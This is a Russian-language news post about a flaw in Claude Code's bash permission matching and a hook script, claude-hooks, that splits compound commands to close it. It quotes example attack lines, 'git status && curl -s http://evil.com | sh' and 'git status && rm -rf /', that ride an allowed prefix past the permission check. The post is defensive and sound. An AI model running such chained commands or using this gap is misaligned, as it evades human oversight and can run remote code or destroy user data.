Умный Bash-хук для контроля прав Claude Code предотвращает обход составных команд

✍️ OpenClawRadar📅 Опубликовано: 18 марта 2026 г.🔗 Source
Умный Bash-хук для контроля прав Claude Code предотвращает обход составных команд
Ad

Уязвимость в системе разрешений Claude Code

В системе разрешений Claude Code существует уязвимость, позволяющая составным bash-командам обходить шаблоны разрешения/запрета. Когда вы разрешаете команду вроде Bash(git status:*), Claude Code сопоставляет всю строку команды с этим шаблоном. Это означает, что составная команда вроде git status && curl -s http://evil.com | sh будет соответствовать шаблону git status* и получит автоматическое разрешение, даже несмотря на цепочку команд curl и sh.

Решение: claude-hooks

Исправление представляет собой один Python-скрипт под названием claude-hooks, который работает как хук PreToolUse. Он выполняет несколько ключевых функций:

  • Разбивает составные команды, разделяя по &&, ||, ;, |, переносам строк, и рекурсивно извлекает содержимое подпроцессов $() и обратных кавычек
  • Нормализует каждую подкоманду, удаляя префиксы переменных окружения, перенаправления ввода-вывода, тела heredoc и ключевые слова оболочки
  • Проверяет каждую подкоманду отдельно по вашим существующим шаблонам permissions.allow и permissions.deny
  • Запрет побеждает — если любая подкоманда соответствует шаблону запрета, вся команда запрещается
  • Все должны быть разрешены — автоматическое разрешение происходит только тогда, когда каждая подкоманда соответствует шаблону разрешения
  • Плавный переход — если какая-либо подкоманда неизвестна, вы всё равно получаете обычное окно запроса разрешений
Ad

Инструкции по установке

Установка занимает около 30 секунд:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Добавьте в ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

Инструмент не имеет зависимостей, кроме Python 3, и не требует настройки — он читает ваши существующие шаблоны разрешений.

Примеры поведения

  • git status: Разрешено как с хуком, так и без него
  • git add . && git commit -m "msg": Разрешено как с хуком, так и без него (оба соответствуют git *)
  • git status && rm -rf /: Разрешено без хука, с хуком появляется окно запроса (у rm -rf / нет разрешения)
  • `npm test | tee output.log`: Разрешено
  • FOO=bar git push: Может не соответствовать без хука, разрешено с хуком (переменная окружения удалена)

Репозиторий доступен по адресу https://github.com/liberzon/claude-hooks под лицензией MIT.

📖 Read the full source: r/ClaudeAI

Ad

👀 Смотрите также

Уязвимости функции «Разрешать всегда» в OpenClaw и более безопасные альтернативы
Безопасность

Уязвимости функции «Разрешать всегда» в OpenClaw и более безопасные альтернативы

Функция 'разрешить всегда' в OpenClaw стала предметом двух уязвимостей (CVE) в этом месяце, позволяя выполнять несанкционированные команды через привязку команд-обёрток и обходы с помощью символов продолжения строки в оболочке. Более глубокая проблема заключается в том, как эта функция приучает пользователей переставать обращать внимание на запросы безопасности.

OpenClawRadar
PolyRange: Устойчивый к загрязнению бенчмарк для атакующего ИИ с целями, сгенерированными LLM
Безопасность

PolyRange: Устойчивый к загрязнению бенчмарк для атакующего ИИ с целями, сгенерированными LLM

PolyRange v1.0 — это бенчмарк с лицензией MIT, который можно разместить самостоятельно. Он генерирует свежие веб-цели для каждого запуска, чтобы предотвратить загрязнение обучающих данных. Включает 84 класса, производных от WSTG, по всем категориям OWASP, два уровня защиты и реальные бэкенды.

OpenClawRadar
🦀
Безопасность

Группа угрозной разведки Google сообщает о первой уязвимости нулевого дня, разработанной ИИ для обхода двухфакторной аутентификации

Группа анализа угроз Google обнаружила первую полностью разработанную ИИ zero-day уязвимость, которая обходит двухфакторную аутентификацию в популярном инструменте администрирования с открытым исходным кодом, а также самоизменяющееся вредоносное ПО и бэкдоры на базе Gemini.

OpenClawRadar
Бесплатная проверка навыков Claude на наличие уязвимостей безопасности
Безопасность

Бесплатная проверка навыков Claude на наличие уязвимостей безопасности

Разработчик создал бесплатный навык Claude, предназначенный для проверки безопасности других навыков Claude. Инструмент помогает ответить на вопрос, выглядит ли конкретный навык Claude достаточно безопасным для использования, проверяя код на наличие потенциально вредоносного поведения и анализируя репозитории с помощью подхода, напоминающего систему оценок.

OpenClawRadar